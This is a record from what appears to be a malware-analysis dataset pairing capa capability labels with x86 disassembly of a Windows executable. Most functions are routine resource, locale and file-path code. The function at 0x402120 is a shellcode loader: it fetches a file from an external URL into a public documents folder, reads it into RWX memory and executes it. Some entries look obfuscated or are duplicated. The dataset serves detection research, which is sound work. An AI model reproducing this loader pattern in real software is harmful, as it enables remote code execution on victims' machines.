joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406ced
Capabilities:
Get common file path

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [fcn.00404594]
xor eax, ebp
mov dword [ebp + 0x190], eax
mov eax, dword [0x40e0fc]
push esi
mov esi, dword [ebp + 0x19c]
mov dword [ebp - 0x7c], esi
test eax, eax
je 0x406d2a
push eax
mov ecx, esi
call fcn.00401037
mov eax, esi
jmp 0x406dbe
and dword [ebp - 0x80], 0
push edi
push str.kernel32
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x406d63
push ebx
push str.IsWow64Process
push edi
call esi
mov ebx, eax
test ebx, ebx
je 0x406d62
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call ebx
pop ebx
cmp dword [ebp - 0x80], 0
je 0x406d99
push str.GetSystemWow64DirectoryW
push edi
call esi
test eax, eax
je 0x406d99
push 0x104
lea ecx, [ebp - 0x78]
push ecx
call eax
push 8
call fcn.0040450f
pop ecx
test eax, eax
je 0x406daa
lea ecx, [ebp - 0x78]
push ecx
mov ecx, eax
call fcn.0040140d
jmp 0x406dac
push 0x104
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
jmp 0x406d80
xor eax, eax
mov ecx, dword [ebp - 0x7c]
push eax
mov dword [0x40e0fc], eax
call fcn.00401037
mov eax, dword [ebp - 0x7c]
pop edi
mov ecx, dword [ebp + 0x190]
xor ecx, ebp
pop esi
call fcn.00404594
add ebp, 0x194
leave

Function at 0x406eb0
Capabilities:
Encrypt data using chaskey

Disassembly:
push ebx
push esi
mov esi, ecx
cmp dword [esi], 0
je 0x406ebe
call fcn.00406a6e
lea ecx, [esp + 0xc]
call fcn.00401062
push eax
and ebx, dword [0x40e120]
ror eax, 0xf
add esi, 0xfa5ae55f
dec esi
neg eax
and esi, 0x94c37c3d
mov eax, dword [0x40e135]
add byte [ecx + 0x40e62a35], al
add byte [edx - 0x29], dl
scasb al, byte es:[edi]
sub byte [ecx], bh
sbb eax, 0x40e19a
Function at 0x406f23
Capabilities:
Encode data using xor
Encrypt data using chaskey

Disassembly:
add byte [ecx + 0x40e62a35], al
add byte [edx - 0x29], dl
scasb al, byte es:[edi]
sub byte [ecx], bh
sbb eax, 0x40e19a
ja 0x406efa
mov ebx, edx
and ecx, 0x3603455e
cmp esp, 0xcaa047f9
js 0x406f0a
and ebx, esi
xchg edx, eax
or edx, 0xe85b71d1
sub edi, 0x28995bde
sub eax, ebx
cmp esp, eax
jo 0x406f21
shr ebx, 3
xor ecx, 0x5020d5ef
cmp dword [0x40e14b], ecx
jnp 0x406f31
xchg ebx, edx
inc esi
shr edi, 7
dec ebx
add ebx, ebx
shl ebx, 0xd
xchg eax, edx
ror edx, 8
mov ecx, 0x6955f1b4
mov edx, 0xbcb581fa
xor edx, dword [0x40e0f1]
call fcn.00404591
ror edi, 0x1b
call fcn.0040aaa0
or esi, 0xbdb67112
and esi, dword [0x40e0f1]
rol edx, 0x18
dec eax
and dword [0x40e417], ebx
or eax, ecx
ror edi, 0x13
and dword [0x40e4a2], edi
or ebx, 0x74d0b7a0
add edx, 0x273693b7
dec ecx
jne 0x406f45
dec esi
sub ecx, esi
mov ecx, 0x3a5b74c8
dec eax
inc eax
cmp dword [0x40e1d5], 0x8803d81b
je 0x406faa
xor edi, 0x4d056fe8
test dword [0x40e18a], ebp
jnp 0x406fb8
add eax, 0x678f5ec9
shr ebx, 2
xor edx, 0xe3337836
neg esi
ror edx, 0x11
rol eax, 0x10
dec ecx
jne 0x406f96
shl edx, 0x12
sub ecx, ebx
xchg edx, eax
and edi, 0x260ed719
dec ebx
xor ebx, 0x57ce6598
mov ecx, 0x7786944c
add esi, 0x6585e14a
sub esi, 0x35b5b4b1
neg eax
xchg esi, edx
rol eax, 6
or ebx, ebx
sub edx, dword [0x40e0f7]
ror edi, 0xf
neg esi
ror eax, 0x1d
dec ecx
jne 0x406fe6
test edx, 0xc72383f3
je 0x40701b
sub esi, 0xda4847c5
sub edi, esp
not edx
sub edx, ebx
neg ebx
mov ecx, 0xe370b272
jb 0x406fd8
jo 0x40700b
add edx, esp
sub edx, 0x9ec8b192
sub dword [0x40e376], ebx
call fcn.00406257
xor ebx, 0x84b52193
sub eax, eax
mov ecx, 0x3888c6ab
Function at 0x407024
Capabilities:
Encode data using xor
Encrypt data using chaskey

Disassembly:
add byte [ecx + 0x40e62a35], al
add byte [edx - 0x29], dl
scasb al, byte es:[edi]
sub byte [ecx], bh
sbb eax, 0x40e19a
ja 0x406efa
mov ebx, edx
and ecx, 0x3603455e
cmp esp, 0xcaa047f9
js 0x406f0a
and ebx, esi
xchg edx, eax
or edx, 0xe85b71d1
sub edi, 0x28995bde
sub eax, ebx
cmp esp, eax
jo 0x406f21
shr ebx, 3
xor ecx, 0x5020d5ef
cmp dword [0x40e14b], ecx
jnp 0x406f31
xchg ebx, edx
inc esi
shr edi, 7
dec ebx
add ebx, ebx
shl ebx, 0xd
xchg eax, edx
ror edx, 8
mov ecx, 0x6955f1b4
mov edx, 0xbcb581fa
xor edx, dword [0x40e0f1]
call fcn.00404591
ror edi, 0x1b
call fcn.0040aaa0
or esi, 0xbdb67112
and esi, dword [0x40e0f1]
rol edx, 0x18
dec eax
and dword [0x40e417], ebx
or eax, ecx
ror edi, 0x13
and dword [0x40e4a2], edi
or ebx, 0x74d0b7a0
add edx, 0x273693b7
dec ecx
jne 0x406f45
dec esi
sub ecx, esi
mov ecx, 0x3a5b74c8
dec eax
inc eax
cmp dword [0x40e1d5], 0x8803d81b
je 0x406faa
xor edi, 0x4d056fe8
test dword [0x40e18a], ebp
jnp 0x406fb8
add eax, 0x678f5ec9
shr ebx, 2
xor edx, 0xe3337836
neg esi
ror edx, 0x11
rol eax, 0x10
dec ecx
jne 0x406f96
shl edx, 0x12
sub ecx, ebx
xchg edx, eax
and edi, 0x260ed719
dec ebx
xor ebx, 0x57ce6598
mov ecx, 0x7786944c
add esi, 0x6585e14a
sub esi, 0x35b5b4b1
neg eax
xchg esi, edx
rol eax, 6
or ebx, ebx
sub edx, dword [0x40e0f7]
ror edi, 0xf
neg esi
ror eax, 0x1d
dec ecx
jne 0x406fe6
test edx, 0xc72383f3
je 0x40701b
sub esi, 0xda4847c5
sub edi, esp
not edx
sub edx, ebx
neg ebx
mov ecx, 0xe370b272
jb 0x406fd8
jo 0x40700b
add edx, esp
sub edx, 0x9ec8b192
sub dword [0x40e376], ebx
call fcn.00406257
xor ebx, 0x84b52193
sub eax, eax
mov ecx, 0x3888c6ab
Function at 0x4010b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4010cb
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401102
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x4010fe
jmp 0x4010f0
cmp esi, eax
jae 0x401102
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4010f0
cmp esi, eax
jb 0x401109
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402120
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
mov eax, dword [0x57cd60]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push 0x55b860
call fcn.0050527a
add esp, 8
test eax, eax
je 0x4021b7
push 0x23
mov esi, 0xf
push str.C:UsersPublicDocuments_shell.txt
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], ebx
mov byte [ebp - 0x3c], bl
call fcn.004032e0
push 0x5c
push str.https:__fs_im_kefu.7moor_fs1.com_ly_4d2c3f00_7d4c_11e5_af15_41bf63ae4ea0_1733466890455_3.txt
lea ecx, [ebp - 0x20]
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x20], bl
call fcn.004032e0
lea edx, [ebp - 0x3c]
lea ecx, [ebp - 0x20]
call fcn.00401cb0
mov edi, 0x10
cmp dword [ebp - 0xc], edi
jb 0x40219d
mov eax, dword [ebp - 0x20]
push eax
call fcn.00405b13
add esp, 4
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x20], bl
cmp dword [ebp - 0x28], edi
jb 0x4021b7
mov ecx, dword [ebp - 0x3c]
push ecx
call fcn.00405b13
add esp, 4
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push 0x55b860
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push ebx
cmp esi, 0xffffffff
jne 0x4021f0
push 0x55b930
push 0x55b938
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4022b5
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
cmp edi, 0xffffffff
jne 0x402215
push ebx
push 0x55b930
push 0x55b948
push ebx
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4022ae
push 0x40
push 0x1000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
mov dword [ebp - 0x44], ebx
push 0
test ebx, ebx
jne 0x402242
push 0x55b930
push 0x55b95c
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x4022ae
lea edx, [ebp - 0x40]
push edx
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40228c
cmp dword [ebp - 0x40], edi
jne 0x40228c
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pushal
mov eax, dword [ebp - 0x44]
call eax
popal
mov eax, dword [ebp - 0x44]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.005048f5
mov esp, ebp
pop ebp
ret 0x10
push 0
push 0x55b930
push 0x55b96c
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.005048f5
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4022d0
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52d7d5
mov eax, dword fs:[0]
push eax
sub esp, 0xc8
push esi
push edi
mov eax, dword [0x57cd60]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 8
mov dword [ebp - 0x10], 0xff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
mov ecx, esi
call fcn.00407c1f
xor edi, edi
push edi
call fcn.00408791
push 0xc
call fcn.00405ad9
add esp, 8
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], edi
cmp eax, edi
je 0x402340
mov ecx, eax
call fcn.00408f40
mov edi, eax
push 0x55b97c
mov ecx, esi
mov dword [ebp - 4], 0xffffffff
call fcn.004090cf
push 0
push 0x66
lea ecx, [ebp - 0xd4]
call fcn.0040dbce
mov dword [ebp - 4], 1
mov dword [ebp - 0xd4], 0x55bcd4
call fcn.0040e4ee
call fcn.0040e4ee
mov eax, dword [eax + 0xc]
push 0x80
push eax
call dword [sym.imp.USER32.dll_LoadIconW]
mov dword [ebp - 0x1c], eax
lea ecx, [ebp - 0xd4]
mov dword [ebp - 4], 2
mov dword [esi + 0x20], ecx
call fcn.0040a038
test edi, edi
je 0x4023b3
mov edx, dword [edi]
mov eax, dword [edx + 4]
push 1
mov ecx, edi
call eax
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], 4
call fcn.0040bd36
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], vtable.CBrush.0
call fcn.004054f0
lea ecx, [ebp - 0xd4]
mov dword [ebp - 4], 0xffffffff
call fcn.00409899
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x406d7a
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x57cd60]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x406dbf
push 0x531018
push 4
push eax
call fcn.00505e59
push eax
call fcn.00401000
add esp, 0x10
jmp 0x406dd5
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x406e55
push edi
call fcn.00505f3d
mov edi, dword [eax]
call fcn.00505f3d
and dword [eax], 0
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.00505eda
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.00505f3d
cmp dword [eax], 0
je 0x406e29
call fcn.00505f3d
push dword [eax]
call fcn.004066b5
pop ecx
jmp 0x406e30
call fcn.00505f3d
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
pop edi
je 0x406e55
cmp dword [ebp - 0x234], esi
jae 0x406e55
push 0
push 0
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x406e57
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.005048f5
leave
ret
Function at 0x4073c2
Capabilities:
Identify system language via api

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x144
mov eax, dword [0x57cd60]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x144], eax
mov eax, dword [ebp + 0xc]
push edi
push str.KERNEL32.DLL
mov dword [ebp - 0x13c], eax
xor esi, esi
call fcn.0040733c
pop ecx
cmp eax, esi
je 0x4074ac
push str.GetThreadPreferredUILanguages
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
cmp edi, esi
je 0x4074ac
xor eax, eax
push 0xc8
mov word [ebp - 0xd0], ax
lea eax, [ebp - 0xce]
push esi
push eax
mov dword [ebp - 0x140], esi
call fcn.005066d0
add esp, 0xc
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0xd0]
push eax
lea eax, [ebp - 0x140]
push eax
push 0x34
mov dword [ebp - 0x138], 0x65
call edi
test eax, eax
je 0x4074ac
lea edi, [ebp - 0xd0]
cmp word [ebp - 0xd0], si
je 0x4074ac
cmp esi, 0x14
jge 0x4074ac
push 0x10
push 0
push edi
call fcn.005066ab
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x40749b
call fcn.00505f3d
cmp dword [eax], 0x22
je 0x40749b
mov dword [ebp + esi*4 - 0x134], ebx
inc esi
push edi
call fcn.005056d1
lea edi, [edi + eax*2 + 2]
cmp word [edi], 0
pop ecx
jne 0x407471
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov edi, dword [sym.imp.KERNEL32.dll_ConvertDefaultLocale]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
mov ebx, 0xfc00
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x134], eax
call edi
mov dword [ebp + esi*4 - 0x130], eax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
and eax, ebx
or eax, ecx
push eax
mov dword [ebp - 0x138], ecx
call edi
push dword [ebp - 0x138]
mov dword [ebp + esi*4 - 0x12c], eax
call edi
mov dword [ebp + esi*4 - 0x128], eax
add esi, 4
cmp dword [0x57e84c], 0
jne 0x407537
mov dword [ebp + esi*4 - 0x134], 0x800
inc esi
xor edi, edi
test esi, esi
jle 0x407560
push dword [ebp + edi*4 - 0x134]
mov ecx, dword [ebp - 0x144]
push dword [ebp - 0x13c]
call fcn.00406d7a
pop ecx
pop ecx
test eax, eax
jne 0x407562
inc edi
cmp edi, esi
jl 0x40753d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005048f5
leave
ret 8
Function at 0x408308
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x408350
call fcn.0040e4ee
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x408350
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x408393
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x40837c
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x40837c
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x68], 0
je 0x408390
mov ecx, dword [esi + 0x68]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40a237
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
xor ebx, ebx
call fcn.0040e4ee
mov esi, dword [eax + 0xc]
push 5
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x40a270
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov ecx, dword [ebp - 4]
push esi
push dword [ebp + 0xc]
push ebx
call fcn.00409e74
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret 8

Function at 0x40a2ce
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x78], ebx
test ebx, 0xffff0000
jne 0x40a2f2
cmp dword [edi + 0x74], 0
jne 0x40a2f2
movzx eax, bx
mov dword [edi + 0x74], eax
call fcn.0040e4ee
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0040a28f
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x40f63a
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x525834
call fcn.00505c0c
mov esi, ecx
cmp dword [esi + 0x6c], 0
jne 0x40f65f
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x40f6b1
call fcn.00405ce0
push eax
lea ecx, [ebp - 0x10]
call fcn.00401480
mov ecx, dword [esi + 0x6c]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00505d62
push eax
call fcn.00401000
add esp, 0x14
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401160
mov eax, esi
call fcn.00505ce4
ret 8

Function at 0x415e86
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x415ecd
call fcn.0040e4ee
mov esi, dword [eax + 0xc]
push pe_nt_image_headers32
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x415ecd
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x415ee9
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.00415986
mov esi, eax
test edi, edi
je 0x415ee7
test ebx, ebx
je 0x415ee7
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x418928
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x57cd60]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x105
push esi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x41895d
xor eax, eax
jmp 0x4189b0
lea eax, [ebp - 0x210]
push eax
call fcn.005056d1
cmp word [ebp + eax*2 - 0x212], 0x5c
pop ecx
je 0x41898e
push 0x531fa4
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0050674a
add esp, 0xc
test eax, eax
jne 0x418959
push edi
lea eax, [ebp - 0x210]
push esi
push eax
call fcn.0050674a
add esp, 0xc
test eax, eax
jne 0x418959
lea eax, [ebp - 0x210]
push eax
call fcn.0040733c
pop ecx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.005048f5
leave
ret
Function at 0x43b6e3
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
push dword [ebp + 0xc]
mov ecx, esi
call fcn.0043b387
cmp dword [esi], 0
mov edi, eax
mov dword [esi + 0xc], 1
je 0x43b72d
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00405be1
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00405bb2
jmp 0x43b738
mov eax, dword [ebp + 0x10]
push dword [eax]
push edi
call fcn.0041a628
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x43b73e
Capabilities:
Get graphical window text

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, dword [esi + 4]
lea eax, [ebp + 8]
push eax
push dword [ebp + 0xc]
call fcn.0040ef2c
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
push dword [ebp + 0xc]
and eax, 3
mov ecx, esi
cmp al, 3
je 0x43b77b
call fcn.0043b387
mov dword [esi + 0xc], 1
jmp 0x43b780
call fcn.0043b387
cmp dword [esi], 0
je 0x43b7c9
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
test eax, eax
jle 0x43b7a1
lea ecx, [eax + 1]
push ecx
mov ecx, dword [ebp + 0x10]
push eax
call fcn.00405be1
jmp 0x43b7b3
mov ecx, dword [ebp + 0x10]
push 0xff
call fcn.004014b0
push 0x100
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [ebp + 0x10]
push 0xffffffffffffffff
call fcn.00405bb2
jmp 0x43b7ed
mov esi, dword [ebp + 0x10]
push dword [esi]
push 0xffffffffffffffff
push 0x14d
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
cmp eax, 0xffffffff
jne 0x43b7ed
push dword [esi]
push dword [ebp + 8]
call fcn.0041a628
pop esi
pop ebp
ret 0xc

Function at 0x45d8d5
Capabilities:
Get common file path

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.004dfb20
call fcn.0040df1f
cmp dword [eax + 0x14], 0
jne 0x45d8f2
mov ecx, esi
pop esi
jmp fcn.0045d3da
pop esi
ret

Function at 0x460fb3
Capabilities:
Get common file path
Get file system object information

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.0043c0e0
call fcn.0040df1f
cmp dword [eax + 0x14], 0
jne 0x460fd0
mov ecx, esi
pop esi
jmp fcn.00460986
pop esi
ret
Function at 0x470ff2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov dword [ebp - 4], ecx
test esi, esi
jne 0x47100c
call fcn.0040e4ee
mov esi, dword [eax + 0xc]
push dword [0x582338]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x47102a
xor eax, eax
pop edi
pop esi
leave
ret 8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp + 0xc], eax
test eax, eax
je 0x471022
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
jne 0x471057
xor esi, esi
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop ebx
jmp 0x471024
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp - 4]
push eax
push ebx
call fcn.00470f20
mov esi, eax
jmp 0x471049

Function at 0x4eb58a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x4eb5a2
mov edi, dword [esi + 0xc]
jmp 0x4eb5e2
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x4eb5bb
call fcn.0040aa2a
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x4eb5d0
call fcn.0040aa2a
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x4eb5e2
call fcn.0040aa2a
call fcn.0040e4ee
cmp dword [eax + 0x3c], 0
je 0x4eb5f7
push edi
mov ecx, ebx
call fcn.004ea3b4
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.004eb4a4
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x4eb615
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x4eb621
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x5048f5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x57cd60]
jne 0x5048ff
repz ret
jmp fcn.0050bda3

Function at 0x5051fb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x505222
call fcn.00505f50
mov dword [eax], esi
call fcn.00505f3d
push 0x16
pop esi
mov dword [eax], esi
call fcn.0050c033
mov eax, esi
jmp 0x505277
test dword [ebp + 0xc], 0xfffffff9
jne 0x505208
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x50524f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00505f63
pop ecx
call fcn.00505f3d
mov eax, dword [eax]
jmp 0x505277
test al, 0x10
jne 0x505275
test al, 1
je 0x505275
test byte [ebp + 0xc], 2
je 0x505275
call fcn.00505f50
mov dword [eax], 5
call fcn.00505f3d
mov dword [eax], 0xd
jmp 0x505246
xor eax, eax
pop esi
pop ebp
ret